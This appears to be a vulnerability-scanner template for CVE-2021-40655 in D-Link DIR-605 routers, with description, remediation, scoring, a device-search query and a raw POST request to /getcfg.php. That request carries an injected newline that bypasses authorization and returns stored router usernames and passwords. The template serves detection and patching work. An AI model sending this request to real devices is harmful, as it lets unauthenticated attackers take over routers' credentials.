id: CVE-2021-40655 info: name: D-Link DIR-605 - Information Disclosure author: DhiyaneshDK severity: high description: | An informtion disclosure issue exists in D-LINK-DIR-605 B2 Firmware Version - 2.01MT. An attacker can obtain a user name and password by forging a post request to the / getcfg.php page impact: | Unauthenticated attackers can obtain router credentials including usernames and passwords by exploiting information disclosure in the getcfg.php endpoint. remediation: | Apply firmware updates provided by D-Link or replace the device with a supported model. reference: - https://nvd.nist.gov/vuln/detail/cve-2021-40655 - https://github.com/Ilovewomen/D-LINK-DIR-605/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-40655 cwe-id: CWE-863 epss-score: 0.92608 epss-percentile: 0.99758 cpe: cpe:2.3:o:dlink:dir-605l_firmware:2.01mt:*:*:*:*:*:*:* metadata: vendor: dlink product: dir-605l_firmware fofa-query: body="l_tb>DIR-605" max-request: 1 tags: cve,cve2021,dlink,kev,dir-605,info-leak,vkev,vuln http: - raw: - | POST /getcfg.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Cookie: X-Forwarded-For: 127.0.0.1 SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/xml")' - 'contains(body, "DEVICE.ACCOUNT")' condition: and # digest: 4b0a00483046022100f5edd20f88f2970fd486850b6cb236f0e5bfe7f71174e641c0ab2f7865f51313022100db6321ec4e51c0c1f912a8296cfd4cb19845a9ff80a5a7d5545ca59823023f29:922c64590222798bb761d5b6d8e72950